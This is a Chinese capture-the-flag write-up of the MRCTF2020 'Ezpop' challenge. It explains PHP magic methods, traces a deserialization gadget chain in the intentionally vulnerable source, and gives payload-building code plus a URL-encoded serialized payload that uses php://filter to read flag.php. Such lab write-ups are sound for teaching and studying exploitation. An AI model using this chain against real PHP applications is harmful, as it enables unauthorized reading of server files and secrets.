[MRCTF2020]Ezpop

考查点:php反序列化链

目录

解题过程

一些函数的知识

代码审计

整体思路

构造payload

参考文章


解题过程

打开题目,代码审计

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){     //当尝试以调用函数的方式调用一个对象时,该方法会被自动调用
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){//在直接输出对象引用的时候,就不会产生错误,而是自动调用了__tostring()方法,输出__tostring()方法中返回的字符串
        return $this->str->source;
    }

    public function __wakeup(){//__wakeup(),执行unserialize()时,先会调用这个函数
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {//过滤了..
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){//当我们试图获取一个不可达属性时(比如private),类会自动调用__get函数。
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

 

一些函数的知识

首先我们需要了解一些函数的知识,假如实现定义Person类

1. __invoke() 当尝试以调用函数的方式调用一个对象时,该方法会被自动调用。比如执行Test(),而Test是我们创立的一个类,这样就会调用__invoke()函数

$person1 = new Person();
$person1();

2. __toString() 在直接输出对象引用的时候,就不会产生错误,而是自动调用了__tostring()方法,输出__tostring()方法中返回的字符串

$person2 = new Person();
echo $person2;

3. __wakeup() 执行unserialize()时,先会调用这个函数

4. __get() 当我们试图获取一个不可达属性时(比如private),类会自动调用__get函数

class Person
{
    private $name;
    ...
}
$person3 = new Person();
echo $person3->$name;//这个时候__get()函数自动调用,然后输出$name中的值

代码审计

1. 以GET方式传入的pop参数,如果pop是一个Show类,会执行__wakeup()函数

if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source))

2. 我们注意到Show类中含有一个__tostring()函数,如果pop->source中的source是一个Show类,那么会执行__tostring类,

public function __toString(){
        return $this->str->source;
    }

3. 在__toString()函数中,如果$this->str->source中的str是一个Test类,即pop->source->str是一个Test类,那么因为Test类中没有变量$source,对Test来说是一个不可达变量,那么就会执行Test类中的__get()函数

public function __get($key){
        $function = $this->p;
        return $function();
    }

4. pop->source->str中的str是一个Test类,访问source不可行,而是会执行__get()函数,然后继而访问$p变量,并且执行$p(),如果$p是一个Modifier类,因为其中有__invoke()函数,所以就可以执行__invoke函数。

public function __invoke(){
        $this->append($this->var);
    }

 5. p是一个Modifier类,令其中的$var是

php://filter/read=convert.base64-encode/resource=flag.php

那么,append函数执行时就会include包含flag.php。

整体思路

构造payload

<?php
class Modifier {
	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

}

class Test{
    public $p;
	
}

class Show{
    public $source;
    public $str;
    
}

$a = new Show();
$a->source = new Show();
$a->source->str = new Test();
$a->source->str->p = new Modifier();

echo urlencode(serialize($a));

?>

最后的序列化结果进行url编码的原因我认为是这样的:如果不进行编码,最后输出的结果是片段的,不是全部的,会有类似截断导致结果异常,所以需要进行url编码

结果

?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

将得到的base64编码进行解码操作


参考文章

[MRCTF2020]Ezpop—序列化pop链

 

  • 4
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值